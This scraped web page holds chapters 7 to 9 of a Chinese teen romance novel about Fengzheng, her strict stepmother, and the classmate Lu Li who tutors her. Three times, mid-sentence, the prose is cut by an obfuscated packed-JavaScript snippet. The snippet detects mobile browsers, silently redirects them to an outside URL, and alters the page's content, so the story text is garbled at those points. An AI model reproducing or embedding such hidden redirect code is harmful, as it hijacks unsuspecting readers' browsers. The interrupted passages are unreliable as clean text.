《瓜很甜，海很咸》 7. Chapter 07 风筝真正和陆离熟络起来，应该是从高二开始。 高一结束后开始分文理科，风筝和陆离选了理科，而薇薇选了文科。巧的是，风筝和陆离还分在了一个班，差别在于，陆离始终是班级前几名，而风筝，始终是班级后几名，两个人的名字在成绩榜上总是遥相呼应。 第一学期期中考试结束后，风筝被请了家长，老师当着风筝和她爸爸的面，说了很多很难听的话，甚至拍着胸脯说，“风筝考不上大学，她不是一块学习的料，不如早点做出别的选择。” 风筝低着头，小脸憋的通红，他们学校老师的办公室是一个大通间，整个年级的老师都在这一个办公室内，来来往往的学生和老师很多，风筝感到无比的丢人，真是恨不得挖个地洞钻进去，她同时也很担心，既然老师都这么说了，爸爸会不会真的不让她上学了？她并不想退学，那样就再也不能天天和薇薇在一起了，她仅此一点的快乐也要被没收了吗？ 正在一旁帮物理老师整理作业的陆离刚巧看到了这一幕，他走过去打断了老师和风筝爸爸的谈话，“张老师，我觉得您这样说话是不对的，每个人都有每个人的优点，风筝虽然数理化学的不好，可她语文很好啊，尤其是作文，经常被老师当做范文读给大家，您怎么能断定她考不上大学？” 办公室突然变得鸦雀无声，所有人都没料到品学兼优的陆离会站出来为风筝说话，他说得振振有词，无以反驳，将班主任张老师气得浑身发抖，“陆离，这里没有你什么事，你赶紧回去上课。” “老师，我愿意和您打一个赌，风筝一定能考上大学。”陆离完全无视班主任的愤怒，继续说。 风筝抬头看着陆离，他微微仰着头，毫无畏惧地看着老师，仿佛对风筝充满了信心。瞬间，风筝的心里就明白了什么叫做“天之骄子”，从前老师的讲解、课本的描述，都没有此刻陆离将这个词阐述的更清楚了。 “打赌？”张老师是一位年龄在三四十岁左右的中年男子，头发很稀少，他不屑地笑了一下，习惯性地摸了一下他光亮的头顶，“陆离，你不要仗着老师喜欢你就在这里为所欲为。” 陆离礼貌地笑了一下，“张老师，谢谢您喜欢我，也请您相信我，风筝一定会进步的，我向您保证，这学期期末考试，风筝一定会考进班级前二十名。” 风筝看着陆离，不由睁大了眼睛，这个保证从他口中说出似乎云淡风轻，但哪里是一件容易的事，即便是中考时超常发挥，风筝也从来没有考入过全班前二十名，在她看来，这简直是天方夜谭。 她伸手拽了拽陆离的衣袖，可陆离看了她一眼，依然很坚持他的想法。 一直很喜欢风筝的语文老师宋老师这时也站了出来，“张老师啊，既然陆离都这么说了，依我看，你不如给风筝一次机会，这孩子不笨，说不定在陆离的带动下真的能进步。” “是啊，老师，您就给孩子一个机会吧，她这么小，真的不上学了能干啥呀！”风筝爸爸也开口说道。 风筝很诧异爸爸会为她向老师求情，她心里忽然觉得很暖，觉得陆离为她带来了好运。 在众多人的施压下，张老师也不好再说什么，只好妥协了。陆离很开心，和风筝一起离开了办公室，路上，风筝向陆离道谢，“陆离，谢谢你。” 陆离笑了一下没说话。风筝的心情却没有陆离那样乐观，期末考试冲进前二十名，她真的是一点把握都没有。 陆离像是看穿了她的心思，忽然停下脚步看着她，“风筝，你看着我的眼睛。” 风筝听话照做，没一秒就害羞了起来，陆离真的很好看，风筝的心脏几乎快要跳出了嗓子眼。可她不敢转开视线，生怕陆离察觉到她内心的情绪。只好硬着头皮红着一张脸看着陆离。 陆离将手搭在风筝的肩膀上，“风筝，相信你自己，也相信我，好吗？” 风筝的大脑都快要缺氧了，陆离说的什么她其实听得并不真切，只下意识地点头，如捣蒜一般。 “脸怎么这么红？”陆离玩心忽起，捏了一下风筝的脸蛋。 “没……没有……”风筝忽然结巴了起来，陆离饶有兴趣地看着她，风筝赶忙调开视线，“我……我先回去了。” 说罢，便迅速转身离开，又紧张地走错了方向，几步之后突然发现，尴尬地掉头往回走…… 陆离忍俊不禁，觉得风筝笨的很可爱。 那天回到教室，陆离真的说到做到，搬了自己的东西和风筝一起坐到了最后一排，把自己靠前的位置让给了风筝原本的同桌。那个时候他们的座位是按照学习成绩排的，像陆离这样的尖子生一般都在前三排，而后排，多是一些不好好学习，或者如风筝这样无论怎么努力都学不好的学生聚集地。 陆离为了风筝搬到了最后一排，将班主任张老师气牙齿打颤，班上的同学也起哄不已。 面对同学们的哄闹，风筝有些坐立不安，可陆离却像没事人一样，专心做题，认真听讲，在睡觉、玩游戏、聊纸条、吵闹的后排，独树一帜。 “你一道题已经做了二十分钟了，是不会还是不用心？”自习课上，陆离突然严厉地瞥了风筝一眼。 风筝拿着笔，一副正在做作业的样子，心却早就跑到了九霄云外，她在想要不要给薇薇说陆离和她坐同桌的这件事，虽说她和陆离彼此心里都明白，他们之间并没有什么，薇薇也不是那种小心眼的人，可是班上同学这样传来传去保不准会闹出什么误会，到时再让薇薇知道就不好了。 “我在想事情。” “想什么？” 薇薇并没有直白地和陆离说过她心里的感情，虽然风筝觉得，陆离心里多少是知道的，但是她还是觉得，这层玻璃纸不应该由她来捅破。 于是摇了摇头，“没什么。” 陆离收拾着自己的作业本，看了风筝一眼，说道，“不要过分在意别人的眼光，那样你只会被人牵着鼻子走，坚持你认为对的，做你想做的事情。” 风筝点点头，心里觉得陆离这句话说的很妙，可以用来当做座右铭，她心里不由对陆离又敬佩了几分，明明是一样的年纪，她却总觉得陆离要比班上其他的男孩子成熟、稳重几分，说出来的话也像是师长一般老道、有道理，俨然一副老干部的作风。 这件事果然立马就传到了薇薇的耳朵里，不过对于流言蜚语薇薇倒是不甚在意，她很自信，完全不担心风筝会抢走陆离，她甚至认为，陆离是看在她的面子上才帮助她的朋友的。 下午放学，三个人一起走在回家的路上，薇薇甚至还感谢了陆离，“以后我家风筝就交给你了，陆离，你一定要好好帮助她哦！” 陆离笑了笑，没有说话。 薇薇好像也习惯了陆离这样内向的个性，并不怎么在意他略有些疏离的态度，风筝心中却隐隐有些不安，她总觉得，陆离不是这样寡淡的一个人。 后来，事实也确实证明了，陆离的确不是一个内向的人，在两个人坐了同桌之后，风筝发现陆离绝对是闷骚派的代表人物，他似乎很喜欢捉弄风筝，与他平时给大家留下的老干部做派完全不一致。 有一次，他从操场打球回来给风筝带了一个“礼物”，一个精致漂亮的小纸盒，上面还绑着一条蕾丝缎带，风筝虽然心里有些纳闷，但也没有多想，打开盒子，竟然是一只毛毛虫，吓得风筝立马扔在了地上惊叫不已，陆离却趴在桌子上笑得前仰后合。可陆离的捉弄似乎永远都分寸得当，逗完了风筝，他还会帮风筝彻底清理掉毛毛虫，省得风筝没法安心上课。 有时，风筝也会被他捉弄生气，不想再理他，这时，他往往会好声好气地哄风筝，或者写一张小纸条过来，主动承认错误，表示自己再也不会这样做了。 还有一次，风筝肚子不舒服，课间时趴在桌子上休息，陆离不知道，拿了一根狗尾巴草搔她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183591|165406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼻子，结果没料到，经期抵抗力弱，风筝又对粉尘过敏，没多久就开始起红疹子，满身满脸的疹子将陆离吓得不轻，他着急地背着风筝到学校卫生室找医生，由于卫生室没有办法输液，陆离又赶忙和老师一起将风筝送到了附近的医院，风筝趴在陆离的身上，感受到陆离对她的关心与担忧，心里很是感动。 醒来时，薇薇、陆离、张老师、风筝的爸爸、继母和陆离的父母、妹妹都在，风筝挂了吊瓶，身上的疹子已经消的差不多了，薇薇很担忧地问她，“感觉好点了吗？” 她点点头，陆离站在薇薇的身后，看见她醒了，也放下了心，他看着风筝，眼神里充满了温柔与怜惜。 风筝却避开他的视线，生怕薇薇误会似的。 “对不起，风筝，我不知道你对粉尘过敏，是我玩笑开过头了，害你遭罪。”陆离的道歉很真诚，看得出来，风筝这一病，真的将他吓的不轻。 风筝摇了摇头，表示自己没什么事情了，依然刻意躲避着陆离的眼神。 “姐姐，你的脸现在粉白粉白的，真好看。”风筝循声望去，说话的是一个约莫七八岁的小姑娘，过肩发，中间披散着，两边编着两条麻花辫做修饰，一双眼睛又黑又亮，衬得她十分可爱。 “这是我妹妹，昭昭。”陆离介绍。 “真可爱。”薇薇捏了捏昭昭的脸蛋。 风筝也冲她笑了一下，她对昭昭的第一印象还是很不错的，人总是偏爱长得好看的东西，尤其是女孩子，长相有优势总是很占便宜。 昭昭甜甜地笑着，露出两个迷人的小酒窝。 另一边的大人们却忽然间的争吵了起来。几个孩子凝神听，似乎是风筝的继母和陆离的爸爸因为医药费争吵了起来，风筝的继母声音尖而高，“医药费当然应该由你们负担，是你们的儿子没事用脏兮兮地狗尾巴草逗风筝，不然她怎么会过敏？” “医药费我们承担我们没有什么意见，但你这个人怎么这么理所当然，不是为了帮助你们孩子学习，我们孩子会从前排搬到后排吗？你怎么对此不感到一点点的感激？” “学习？”风筝继母十分不屑地“哼”了一声，“鬼知道是不是为了学习！” “你……”陆离爸爸怒不可遏，被陆离妈妈拉住，“好了，不要再说了，医药费我们支付就是了，你现在就去把该交的费用都交了吧！” 似乎是懒得再和风筝继母多说话，她将陆离爸爸推出了病房，自己则走到风筝的病床边，十分关切、十分温柔地问风筝，“孩子，你还难受吗？” “不难受了，谢谢阿姨。”风筝一面觉得自己的继母很丢人，一面又觉得陆离的妈妈很高贵、很温柔，她的眼神充满了慈爱，风筝扑捉到一丝心疼，又不敢十分确定，毕竟她们只是陌生人，又是初次见面，陆离的妈妈有什么理由心疼她呢？ 可是仅仅因为这一点点她不敢确定的心疼，陆离的妈妈便在风筝的心里留下了很好的印象。她好希望自己也有这样一个妈妈啊，哪怕和陆离一样，有一个这样的继母也不错。 “那你好好休息，阿……姨改天再来看你。” “好。”风筝乖巧的点头，并没有注意到陆离继母在称呼自己为“阿姨”时不知怎的停顿了一下。 随后不久，陆离的妈妈便带着陆离和昭昭离开了。 接着，张老师和薇薇也相继离开了。 病房里只剩下风筝一家，风筝的继母又开始无休止的指责，指责风筝的爸爸没出息，刚才她为了医药费与陆离爸爸争辩，风筝的爸爸却一声不吭地站在旁边，什么事都指望不上，她同时还很得瑟，如果不是她的“争取”，陆离家怎么会这么爽快地掏出医药费？那如果陆离家不出医药费，家里是不是又要多一笔支出……巴拉巴拉，诸如此类。 风筝的爸爸始终不说话，靠在窗户边闷头抽烟。 风筝闭着眼睛，此刻，真希望自己是个聋子。 8. Chapter 08 晚上八点，陆离家。 从医院回来晚了，陆家的晚饭今天也开的晚了些。 陆家生活富裕，家务活雇的有钟点工，一日三餐陆母却坚持要自己准备，她了解家里每个人的口味，每一餐都毫不马虎，所以陆家人都喜欢在家里吃饭。 饭桌上陆离爸爸对风筝妈妈还耿耿于怀，“从来没有见过这样的人，我看啊，你也离你那同学远一点，这样的家庭能教出什么样的孩子？” “风筝是个很好的人，和她那个妈妈不一样。”陆离辩解着，这时，陆妈妈正好端了最后一道汤上来，陆离注意到，陆妈妈的手上包着纸巾，忙问，“妈，你手怎么了？” “刚才切菜时不小心切到了。” “你也太不当心了，昭昭，去给妈妈拿个创可贴。”陆爸爸这才将注意力转到自己妻子身上，转而又对陆离说，“陆离，看你让你妈担心的。” “妈，不好意思，让您担心了。”陆离说。 “没事，这和孩子没什么关系，是我自己不小心。” 陆爸爸很擅长借用这样那样的借口有意拉近这对继母继子之间的关系，陆离对此一清二楚，倒也并不反感，他爸爸是个生意人，在人际交往方面颇为圆滑，而他的继母则是一位相对比较真诚的人，这样的对比，反倒让他对继母的好感更多几分。 昭昭帮妈妈贴好创可贴，又贴心地吹了吹，问道，“妈妈还疼吗？” 陆妈妈笑着说，“不疼了，有你们这么关心妈妈，妈妈一点都不疼了。” 一家人继续用餐，陆爸爸又扯到了风家，“刚才你说，你那同学叫风筝是吗？” “是。” “你是不是真的像人家家长说的那样，对人家姑娘有别的想法？” “啪”地一声，陆妈妈的筷子掉到了地上，她赶忙捡起，到厨房换了一双。 “爸，你说什么呢，我就是觉得她人不错，帮助她学习而已。” “那就好，爸爸还是觉得，中学时期不要谈恋爱，等你考上了大学，你再找女朋友。” “爸，你还让不让我吃饭了。”陆离一脸不耐烦，陆爸爸便不再说了。 陆妈妈这时却开了口，“我看那孩子挺乖的样子，应该是个好孩子。” “是挺好的，很善良，很可爱，对人也很真诚，就是有点内向。” “内向？” “她妈妈是后妈，对她不怎么好。她爸爸又不当家，她难免受些委屈，家庭环境影响了她的性格，不过这是她个人的隐私，再多说就不好了。” 陆爸爸陆妈妈都不再问些什么，陆离闷头吃饭，也不再谈论关于风筝和风筝家里的事情。陆妈妈的筷子不停地搅着碗里的大米粥，一圈一圈，像是此刻的她的心，难以平静。 几天之后，风筝回到了学校。陆离再没有捉弄她，但是依然帮助着她的学习，每天放学后，风筝、薇薇和陆离都会在教室里一起做功课，陆离总是功课完成最快的那一个，自己的功课完成后，他便像个老师一样，检查风筝的功课，帮她找出错误的题，并耐心给她讲解一遍。在陆离的帮助下，风筝的学习成绩果真在不断提高，期中考试前进了十几名，让张老师大跌眼镜，但是他依然不肯认输，等着看风筝的期末考试成绩。而风筝则兴奋不已，她从来都没有尝试过学习好带来的喜悦之感，有了明显的进步，她便更有动力了，卯足了劲儿头和陆离一起学习，那些枯燥的物理、化学、数学忽然间都变得有趣起来。 那几个月，应该是风筝有生以来过的最开心的一段时间。 然而，薇薇的忧郁却一天比一天明显。 一日午间休息，风筝和薇薇趴在教室门口的栏杆上，陆离在操场上打球，她们远远地望过去，陆离转身、过人、上篮、得分，一系列漂亮的动作在空中划出了一道好看的弧线，让两个人都忍不住为他欢呼了起来。 风筝转头看向薇薇，她也默默地看着她。 风筝捕捉着薇薇眼神中的讯息，失落、嫉妒、怨恨……还有淡淡地疏离。 她转过头去依然望着操场，对风筝说，“有时候，我真的很羡慕你，陆离在你面前和在别人面前是不一样的，在你面前，他好像有说不完的话，可在我们面前，他总是那么安静，多说一句话都觉得累似的。” 风筝内心惴惴不安，她从来都没有和薇薇之间产生过任何矛盾，此刻，薇薇脸上淡淡的笑容，和略微疏离的语气都让她感到害怕，“不是的……薇薇……”可是她又不知道该如何解释，只好有些不知所措地看着薇薇。 “风筝，你也喜欢陆离，是吗？”薇薇看着她的眼睛。 “我……” 短暂的沉默，风筝不承认，也不否认，她其实自己也搞不清楚她对陆离的感情，说喜欢吧，像是十恶不赦，她明明知道薇薇那样的喜欢陆离，怎么还可以喜欢陆离？可是说不喜欢吧，为什么她变得喜欢上学？喜欢学习？喜欢和陆离打打闹闹？ “我开玩笑的。”见风筝半天回答不上来，薇薇一笑打破了沉默，她转头看着操场，不想再让风筝和她感到尴尬。 风筝也笑了笑，心里却很乱。 她们谁都没有再说一句话，一直那样静静地站着，看着篮球场上活跃的陆离，梳理着各自的心事。 这件事果然像是一个玩笑，那天过后，她们谁都没有再提起，那个风筝回答不上来的问题，像是薇薇从来都没有问过似的。她们依然一起学习、上学、放学，在期末考试前夕，薇薇甚至还帮助风筝复习英语，整理出一套学习笔记给风筝。 在大家的共同努力下，期末考试，风筝排名全班第二十名，三个人乐坏了，抱在一起又是哭又是笑，高兴地不知道该如何庆祝。 “薇薇，你真该看看张老师那个表情，太经典了，我从来都没见过他这么憋屈过！”想到张老师念成绩单时的窘迫，风筝高兴地给薇薇说着。 薇薇也笑，“真好，风筝，你给了他一记响亮的嘴巴！做人不可以这么势力，尤其是当老师的。” “这都要感谢你和陆离。” “还是你自己努力。”一直静静看着她们高兴的陆离这时候说话了，“风筝，你很棒，无论什么时候都要记得，你不比任何人差。” 风筝看着陆离，这句话给了她很大的鼓励，她认真地点了点头，全然没有注意到一旁薇薇脸上表情的变化。 “既然今天这么高兴，风筝，你应该请我们吃饭呀！”薇薇突然笑着说。 “好……好啊。”风筝勉强应着，“不过改天吧，今天我得早点回家。” “行啊，反正马上就放寒假了，这顿饭你可跑不了。”薇薇又说。 “嗯。”风筝低头答。 和薇薇认识了这么多年，这是她第一次主动开口要求风筝请客吃饭，所以风筝并没有多想，她甚至在内心里也觉得，自己是该请薇薇和陆离吃一顿饭，尤其是薇薇，她请过她吃多少次饭，又给她买过多少东西啊！虽然这些钱对薇薇来说并不算什么，可薇薇并不欠她的，一点一滴，她心里都记得很清楚。 可是她没有想到，就是这一百元的请客钱，再次让风家鸡犬不宁。 风筝爸爸这天很高兴，风筝和风笛的期末考试成绩都还不错，厂里效益好，这个月的奖金也多发了几百，他和老婆在超市买了一瓶廉价的红酒，用着买红酒送的酒杯，晚饭时津津有味地品着。 “知道红酒应该怎么喝吗？”风筝继母嘬了一小口，沾沾自喜地问风筝爸爸。 她惯爱显摆，如井底之蛙一般，风筝爸爸却很爱自己的老婆，即便是平时说话也抬她几分，时时刻刻哄着她高兴，他捧场地说，“不知道，教教我。” “就知道你不知道，看我，先摇一摇，再闻一闻，然后喝上一小口，在舌头底下停留一阵，感受一下红酒的香甜。”她闭上眼睛，很享受的样子，风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183592|165406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筝心里觉得好笑，她继母虽然生在普通家庭，也嫁到了普通家庭，却总向往着有钱人家阔太太的生活，此外，她也尽可能地让自己平淡的日子过得小资、奢华一点，以此来满足她的虚荣心。 虽说人往高处走，水往低处流，她继母想要过更好的生活并不是一件坏事，可坏就坏在，她从来都不为之付出行动，只希望这好的生活由别人带给她，或者睡一觉，一觉醒来就有这样的好事等着她。所以，心情好的时候，她总会给风筝灌输一个理念，以后一定要嫁给一个有钱人，要想尽一切办法的接近有钱人，这样才能成为人上人。 “真的那么好喝吗？我也要喝。”风笛看他妈喝的那么享受，拿过酒杯喝了一口，又立马吐了出来，“咳咳”地咳嗽了几声，“一点都不好喝，又苦又涩，哪里好喝啦？” “小孩子懂什么！”风筝继母立马抢过酒杯，很心疼地看了一眼刻度线，风笛这一口可真不小。 风筝心里敲着自己的小算盘，看今天继母心情这么好，要点钱应该不会很难吧？ 她于是鼓起了勇气，是真的在心里鼓励了自己好几分钟，说道，“爸爸，妈妈，我想要一百块钱。” …… 美好的气氛戛然而止，风筝甚至听到了继母心中愉悦的情绪刺耳的刹车声音，她放下酒杯，板下脸问：“要这么多钱干什么？” “薇薇和陆离这学期在学习上给了我很大的帮助，我答应了请他们两个一起吃一顿饭。” “请吃饭？”风筝继母笑了一下，对风筝爸爸说，“风长生，你听见没，你女儿还没挣钱呢，就这么阔气地请同学吃饭，日子过得可比你还好呢。” 不等风筝爸爸说话，她又说，“风筝，你真是我见过最不懂事的小孩了，我同事的孩子，一个人在南京上大学，还是个男孩子，一个月的生活费才四百块，父母什么心都不用操。你可好，一个高中生，吃家里的，喝家里的，买衣服、买课本，什么都是我们给你掏钱，你知道你一个月要花多少钱吗？还请同学吃饭，一顿就是一百块？你不是官老爷家的孩子，你爸爸也不是什么大商人，你爸爸就是一个普通的工人，你这么大手大脚是和谁学的啊？” 风筝低着头不说话，奶奶却看不过眼，说了句：“孩子就要一百块钱，有你说的那么夸张吗？” 风筝继母立马提高了声音，“妈，你以为我们两个很有钱吗？每个月水费、电费、物业费、天然气费，月月都要一两千，人家物业的人都问我，‘你们家怎么能用那么多水和天然气？’一个你，一个风筝，费水费电，反正你们都不掏钱，当然也不知道节省。家里这么多张嘴，每个月吃饭也得好几千，再加上风筝和风笛要上学，你真以为你儿子的钱是大风刮来的，要多少有多少吗？” “风笛妈，话你可不能这么说，怎么叫我和风筝费水费电？风筝一走走一天，就晚上回来睡会觉，我一个老太太，能用多少水电？你要是嫌弃我们祖孙俩，就直说，不要这样拐弯抹角。” “我可没说嫌弃你们，这话可是你自己说的。” …… 家里又陷入了无休止的争吵当中，风筝放下筷子，饭，已经是没有办法吃了，她看着继母那张尖酸刻薄的脸，以及爸爸永远不分是非站在继母这边为继母说话的狰狞表情，感到极其的厌恶。 “别吵了！”她打断了他们的争吵，“钱我不要了就是了，你不用这么说我奶奶。” “你跟谁说话呢？大人说话有你什么事儿？一点家教都没有！”继母将矛头再次对准风筝，风筝瞪着她不说话，继母又说，“风长生，看看你姑娘，眼睛瞪这么大想干啥呢？” “滚滚滚！成天都是你的事儿，没事惹事儿！”风筝爸爸拧着眉头，虽然对家里这样的鸡飞狗跳反感到了极点，但是他只能、也只敢将心中的怒气发泄到风筝身上。 风筝含着泪，“滚就滚！” 说罢便摔门出去了。 9. Chapter 09 冬夜，连喧闹的夜市都变得冷清了，风筝一个人漫无目的地走在大街上，裹了裹棉衣，却还是冷得手脚冰凉。 每当这个时候，她都会想起她的母亲。一个她几乎从未谋过面的亲人。 她的爸爸妈妈在她还不记事时就离婚了，她从来都不曾真正的知道他们离婚的原因，爸爸对此绝口不提，奶奶偶尔念叨两句，大概是说，妈妈家世好，当初父母之间的爱情终究没有抵过柴米油盐的生活，浪漫爱情以悲剧收场。 他们离婚的原因，风筝心里从来没有在意过。她只是想不通，妈妈离开了爸爸，为什么连她也不要了？这么多年，为什么连看都不看她一眼？如果她有妈妈，是不是在这样一个寒冷、悲伤的夜晚，就不会可怜到连一个可去的地方都没有？ 要不要去找薇薇？风筝心里很纠结，最近她和薇薇的关系一直很微妙，虽然外人都没有看出来什么不妥，但是作为当事人，她们两个彼此心里都明白，一切和从前已经不太一样了。 风从耳边呼啸而过，风筝觉得冷的刺骨，怎么这偌大的西安城，就没有一个属于她的家呢？或许真如奶奶所说，她的名字起得不好，风筝风筝，注定一生漂泊。 “怎么这么晚一个人在街上乱逛？”一个熟悉的声音，风筝停住脚步回过头来，竟然是陆离。 她的脸上还挂着没来得及擦干的眼泪，陆离微皱了眉头，“发生了什么事？” 她摇摇头，用手臂擦干眼泪。 陆离便也不再多问，低头看了一眼手表，已经晚上九点多了，“时间不早了，我送你回去吧。” 风筝当然不能彻夜不归，奶奶会担心，她点了点头，又问道，“你怎么在这里？” “昭昭今天生日，全家人出来吃饭，就在前面那家酒店，我一出门就看见你神游一样地走过。” 风筝“哦”了一声，“替我祝昭昭生日快乐。” “谢谢，昭昭一定也希望，你和她一样快乐。” 风筝勉强笑了一下，她很羡慕如昭昭这样家庭幸福和睦的孩子，生日能够收到全家人的祝福，不像她，每一年都过得冷冷清清，除了奶奶和薇薇，似乎没有人记得，原本该热闹的一天总是清冷的让她害怕。 昏黄的路灯拉长了两个人的身影，天空中突然飘起了雪花，这是今年冬天的第一场雪，风筝和陆离不由都停下了脚步，抬头望着天空。一片，一片，随后不久，忽然纷纷扬扬地下了起来，落在了他们的发上、身上…… 两个人看着彼此，相视一笑。 陆离突然伸手，拉住了风筝的手，“手怎么这么凉？” 他随即用双手掌心搓着风筝的双手，一股强烈的暖意从指间一直流进了风筝的心底，世界在这一瞬间变得好安静，风筝怔怔地看着陆离，只听得见自己心脏“噗通噗通”规律跳动的声音。 陆离低着头，雪花落在他长长的睫毛上，他一面用掌心搓着风筝的双手，一面轻轻地哈着气。抬头，冲呆愣的风筝暖暖一笑。 风筝只觉得，好像冬夜没有那么冷了。 陆离将风筝的手紧紧握着，塞进自己宽大的口袋中，一面继续向前走，一面说，“风筝，好好学习，将来和我考一所大学，我们一起去过全新的生活。” 全新的生活？风筝心里反复思量着这句话。如醍醐灌顶，忽然间心中便明朗了。 是啊，原生家庭并不能决定她的一辈子，虽然这十几年她过的漫长而艰辛，可毕竟，她的人生才刚刚开始，未来还有无数种可能，她不必为父母失败的婚姻背负一辈子的债，她可以过她想过的人生，和她喜欢的人。 她站定脚步，看着陆离，眼神中闪烁出前所未有的光芒，坚定地点了点头。 假期刚开始的那几天，薇薇并没有联系过风筝，风筝也没有联系薇薇，她没有履行诺言请大家吃饭，心里总觉得做了亏心事似的。临近过年，风筝的爸爸、继母带着风笛一起回了风筝继母的老家，家里只剩下风筝和奶奶两个人一起过年，风筝反倒觉得清净。 人虽然少，年却还是要过的。 奶奶买了鸡、鱼、肉和一些菜，和风筝一起炸带鱼、炸丸子、炸麻花、做蒸碗，实实在在地忙活了好几天。大年三十的晚上，电视机里播着春节联欢晚会，听着外面噼里啪啦的炮竹声响，风筝和奶奶一起准备了丰盛的年夜饭，风筝很高兴，给奶奶磕了头拜了年，不想，奶奶突然从兜里拿出来一个红包，递给她，“喏，压岁钱。” 风筝推回去，“奶奶，我都这么大了，不要压岁钱了。” 奶奶退休金不高，身体又不好，平常吃药打针花费不小，可她却又心疼自己这个没娘的孙女，省吃俭用隔三差五地贴补风筝，才不至于让风筝太过于窘迫。 “拿着，不是说要请同学吃饭？答应了别人的事情可得做到。” 奶奶将红包塞到风筝手里，风筝起身坐在奶奶旁边，抱住奶奶撒娇，“奶奶，等我长大了，一定好好孝敬您！” “好！好！奶奶好好活，等着风筝长大的那一天！”奶奶笑着，皱纹堆积在脸上，十分慈祥。 后来，奶奶这样的笑容时常出现在风筝的梦里，奶奶终究没有等到风筝长大，每每思及此，总让风筝痛心疾首。 午夜的钟声即将敲响，新的一年就要来了。那个时候还没有智能手机，诺基亚占领通讯市场的年代，风筝拿着奶奶的手机给薇薇和陆离编短信，祝他们新年快乐。很快，陆离就打了电话过来，“你往楼下看。” 风筝赶忙跑到窗户跟前，陆离站在路灯下笑着冲她招手。 她忙穿了外套下楼。陆离带着烟花棒，点燃了一根站在楼下自顾自地玩着，看风筝过来，便从地上拿起一根递给风筝，“昭昭的，刚才在家玩这个把新衣服烧破了，正在家郁闷呢，我就把剩下的这些全拿出来了。” 风筝接过，陆离帮她点了火。黑夜立马被烟火棒散发出来的光芒驱散了，“你怎么来了？”她问陆离。 “陪你过年呀。”他答的理所当然，带着笑容，在烟火的照耀下格外好看。 风筝心里很开心，“我奶奶今天给我压岁钱了，你和薇薇商量一下，什么时候你们都有时间，我请你们吃饭。” “风筝，你会做饭吗？” “会一点点，做的不好吃。” “别去外面了，请我们吃你做的饭吧。就这两天，家里菜多，你爸妈也没回来，咱们三个在你家聚一聚。” 风筝有些许的犹豫，她明白陆离是不愿意让她花钱，可是又不想伤了她的自尊心，这个主意固然两全其美，可是她总觉得不够有诚意，而陆离和薇薇，在她心目中是应该要赤诚相待的人。 “这两天大鱼大肉的吃，实在是不想在外面吃饭了，你就给我们做点素的、清淡的就行了。” 陆离坚持，风筝只好答应，“好，那我问好薇薇的时间，和你联系。” “好。” “对了，”陆离又说，“快拿着烟火棒许个愿，听说很灵，会实现。” 风筝翻了个白眼，“你听谁说的？” “昭昭，宁可信其有。”陆离一笑，先闭起眼睛默默地许愿。 风筝虽然很是怀疑，但也宁可信其有，闭上眼睛许下心愿：但愿往后的每一天，都如今天这样快乐美好。 薇薇全家人过年去了海南，要到初六才能回来，风筝的爸爸是初七到家，他们约了初六晚上在风筝家吃饭，为了这一顿饭，风筝从初五晚上就开始忙活了。 先是把家里里里外外打扫了一遍，薇薇喜欢喝果汁，她特意跑到超市给薇薇买了一包果汁粉，又买了几瓶饮料。初六一大早，奶奶帮她准备了几个蒸碗，吃过午饭后，奶奶就出门了，家里只剩下她一个人。陆离来的很早，比约定的时间早了好几个小时，来的时候她正穿着围裙在厨房里洗菜，陆离带了一些水果，自告奋勇到厨房帮她。 没干一会儿，风筝就有些后悔让他帮忙了，与其说他是在帮忙，还不如说他是在碍事，风筝家厨房小，陆离如同柱子一样杵在那，完全没有平日里在学校的潇洒自如，这个时候，像极了班里那些听不懂课的同学，望着风筝的面孔自带“呆若木鸡”滤镜。 风筝实在受不了了，将他推出厨房，他便倚靠在厨房门前，看着风筝忙前忙后，脸上带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183593|165406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅浅的笑容。 “你笑什么？” “没什么。” “我这样子是不是特别丑？” “没有，很好看，很有生活气息。” 风筝斜眼看他，发现陆离也正看着她，表情很专注，不像是在撒谎的样子，反而像是在欣赏什么。她登时红了脸，扭过身背对着陆离洗菜，陆离只是笑，不说话。 “咚咚咚”，一阵敲门声。 “是薇薇吗？”风筝在厨房里喊道。 “咚咚咚咚……”敲门声越来越急促。 “来了来了，薇薇都着急了，你也不去开门。”风筝匆匆擦了手，瞪了一眼依然倚靠在厨房门边的陆离，走过去开门。 “姐，你干什么呢！半天不开门！”是风笛，风筝吓了一跳，紧接着她爸爸和继母也从楼梯口拿着大包小包的行李上来了，继母呵道，“呆站着干什么啊，过来帮忙拿东西。” 风筝“哦”了一声，赶忙过去拿东西。 察觉到不对劲，陆离也走了出来，看见风筝的爸爸和继母，他很有礼貌地打了个招呼，“叔叔、阿姨，新年好。”随后便上前帮忙拿东西。 